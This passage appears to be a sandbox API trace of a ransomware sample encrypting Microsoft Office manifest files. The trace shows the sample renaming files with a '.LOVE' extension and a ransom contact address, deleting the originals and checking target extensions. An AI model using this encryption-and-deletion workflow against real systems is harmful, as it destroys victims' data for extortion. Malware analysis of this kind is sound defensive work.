CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0204.648] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.648] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0204.649] GetLastError () returned 0x0 [0204.649] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xba5e3, lpOverlapped=0x0) returned 1 [0204.709] WriteFile (in: hFile=0x330, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xba5f0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xba5f0, lpOverlapped=0x0) returned 1 [0204.722] ReadFile (in: hFile=0x33c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.722] WriteFile (in: hFile=0x330, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0204.722] SetEndOfFile (hFile=0x330) returned 1 [0204.722] CloseHandle (hObject=0x330) returned 1 [0204.723] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.723] SetEndOfFile (hFile=0x33c) returned 1 [0204.729] CloseHandle (hObject=0x33c) returned 1 [0204.729] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0204.729] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1 [0204.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0204.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0204.729] lstrlenW (lpString=".doc") returned 4 [0204.730] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.730] lstrlenW (lpString=".docx") returned 5 [0204.730] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.730] lstrlenW (lpString=".pdf") returned 4 [0204.730] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.730] lstrlenW (lpString=".xls") returned 4 [0204.730] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.730] lstrlenW (lpString=".xlsx") returned 5 [0204.730] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.730] lstrlenW (lpString=".ppt") returned 4 [0204.730] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0204.730] lstrlenW (lpString=".zip") returned 4 [0204.730] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.730] lstrlenW (lpString=".rar") returned 4 [0204.730] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.730] lstrlenW (lpString=".bz2") returned 4 [0204.730] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.730] lstrlenW (lpString=".7z") returned 3 [0204.730] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0204.730] lstrlenW (lpString=".dbf") returned 4 [0204.730] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0204.730] lstrlenW (lpString=".1cd") returned 4 [0204.730] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.730] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0204.730] lstrlenW (lpString=".jpg") returned 4 [0204.730] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0204.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0204.731] lstrlenW (lpString=".doc") returned 4 [0204.731] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0204.731] lstrlenW (lpString=".docx") returned 5 [0204.731] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0204.731] lstrlenW (lpString=".pdf") returned 4 [0204.731] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0204.731] lstrlenW (lpString=".xls") returned 4 [0204.731] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0204.731] lstrlenW (lpString=".xlsx") returned 5 [0204.731] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0204.731] lstrlenW (lpString=".ppt") returned 4 [0204.731] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0204.731] lstrlenW (lpString=".zip") returned 4 [0204.731] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.731] lstrlenW (lpString=".rar") returned 4 [0204.731] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.731] lstrlenW (lpString=".bz2") returned 4 [0204.731] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.731] lstrlenW (lpString=".7z") returned 3 [0204.731] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0204.731] lstrlenW (lpString=".dbf") returned 4 [0205.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0205.183] lstrlenW (lpString=".1cd") returned 4 [0205.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104 [0205.183] lstrlenW (lpString=".jpg") returned 4 [0205.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.183] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.183] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53 [0205.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0205.184] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=65002) returned 1 [0205.184] CloseHandle (hObject=0x370) returned 1 [0205.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0205.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0205.184] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.184] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0205.184] GetLastError () returned 0x0 [0205.185] ReadFile (in: hFile=0x370, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0xfdea, lpOverlapped=0x0) returned 1 [0205.235] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xfdf0, lpOverlapped=0x0) returned 1 [0205.237] ReadFile (in: hFile=0x370, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.238] WriteFile (in: hFile=0x374, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.238] SetEndOfFile (hFile=0x374) returned 1 [0205.238] CloseHandle (hObject=0x374) returned 1 [0205.245] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.245] SetEndOfFile (hFile=0x370) returned 1 [0205.245] CloseHandle (hObject=0x370) returned 1 [0205.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.246] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0205.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.246] lstrlenW (lpString=".doc") returned 4 [0205.246] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.246] lstrlenW (lpString=".docx") returned 5 [0205.246] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.246] lstrlenW (lpString=".pdf") returned 4 [0205.246] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.246] lstrlenW (lpString=".xls") returned 4 [0205.247] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.247] lstrlenW (lpString=".xlsx") returned 5 [0205.247] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.247] lstrlenW (lpString=".ppt") returned 4 [0205.247] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.247] lstrlenW (lpString=".zip") returned 4 [0205.247] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.247] lstrlenW (lpString=".rar") returned 4 [0205.247] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.247] lstrlenW (lpString=".bz2") returned 4 [0205.247] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.247] lstrlenW (lpString=".7z") returned 3 [0205.247] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.247] lstrlenW (lpString=".dbf") returned 4 [0205.247] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.247] lstrlenW (lpString=".1cd") returned 4 [0205.247] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.247] lstrlenW (lpString=".jpg") returned 4 [0205.247] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.247] lstrlenW (lpString=".doc") returned 4 [0205.247] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.248] lstrlenW (lpString=".docx") returned 5 [0205.248] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.248] lstrlenW (lpString=".pdf") returned 4 [0205.248] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.248] lstrlenW (lpString=".xls") returned 4 [0205.248] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.248] lstrlenW (lpString=".xlsx") returned 5 [0205.248] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.248] lstrlenW (lpString=".ppt") returned 4 [0205.248] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.248] lstrlenW (lpString=".zip") returned 4 [0205.248] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.248] lstrlenW (lpString=".rar") returned 4 [0205.248] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.248] lstrlenW (lpString=".bz2") returned 4 [0205.248] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.248] lstrlenW (lpString=".7z") returned 3 [0205.248] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.248] lstrlenW (lpString=".dbf") returned 4 [0205.248] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.248] lstrlenW (lpString=".1cd") returned 4 [0205.248] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.248] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0205.248] lstrlenW (lpString=".jpg") returned 4 [0205.248] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.249] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0205.249] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53 [0205.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0205.300] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x26dff14 | out: lpFileSize=0x26dff14*=1261) returned 1 [0205.300] CloseHandle (hObject=0x2d8) returned 1 [0205.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0205.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0205.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0205.300] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.301] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0205.303] GetLastError () returned 0x0 [0205.303] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x4ed, lpOverlapped=0x0) returned 1 [0205.305] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x4f0, lpOverlapped=0x0) returned 1 [0205.306] ReadFile (in: hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0205.306] WriteFile (in: hFile=0x31c, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x13e, lpOverlapped=0x0) returned 1 [0205.306] SetEndOfFile (hFile=0x31c) returned 1 [0205.308] CloseHandle (hObject=0x31c) returned 1 [0205.310] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0205.310] SetEndOfFile (hFile=0x2d8) returned 1 [0205.313] CloseHandle (hObject=0x2d8) returned 1 [0205.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0205.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0205.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.315] lstrlenW (lpString=".doc") returned 4 [0205.315] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.315] lstrlenW (lpString=".docx") returned 5 [0205.315] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.315] lstrlenW (lpString=".pdf") returned 4 [0205.315] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.315] lstrlenW (lpString=".xls") returned 4 [0205.315] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.315] lstrlenW (lpString=".xlsx") returned 5 [0205.315] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.315] lstrlenW (lpString=".ppt") returned 4 [0205.315] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.315] lstrlenW (lpString=".zip") returned 4 [0205.315] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.315] lstrlenW (lpString=".rar") returned 4 [0205.316] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.316] lstrlenW (lpString=".bz2") returned 4 [0205.316] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.316] lstrlenW (lpString=".7z") returned 3 [0205.316] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.316] lstrlenW (lpString=".dbf") returned 4 [0205.316] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.316] lstrlenW (lpString=".1cd") returned 4 [0205.316] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.316] lstrlenW (lpString=".jpg") returned 4 [0205.316] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.316] lstrlenW (lpString=".doc") returned 4 [0205.316] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.316] lstrlenW (lpString=".docx") returned 5 [0205.316] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0205.316] lstrlenW (lpString=".pdf") returned 4 [0205.316] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.316] lstrlenW (lpString=".xls") returned 4 [0205.316] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.316] lstrlenW (lpString=".xlsx") returned 5 [0205.316] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0205.316] lstrlenW (lpString=".ppt") returned 4 [0205.316] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.317] lstrlenW (lpString=".zip") returned 4 [0205.317] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.317] lstrlenW (lpString=".rar") returned 4 [0205.317] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.317] lstrlenW (lpString=".bz2") returned 4 [0205.317] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.317] lstrlenW (lpString=".7z") returned 3 [0205.317] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.317] lstrlenW (lpString=".dbf") returned 4 [0205.317] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.317] lstrlenW (lpString=".1cd") returned 4 [0205.317] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0205.317] lstrlenW (lpString=".jpg") returned 4 [0205.317] lstrcmpiW (lpString1=".jpg", 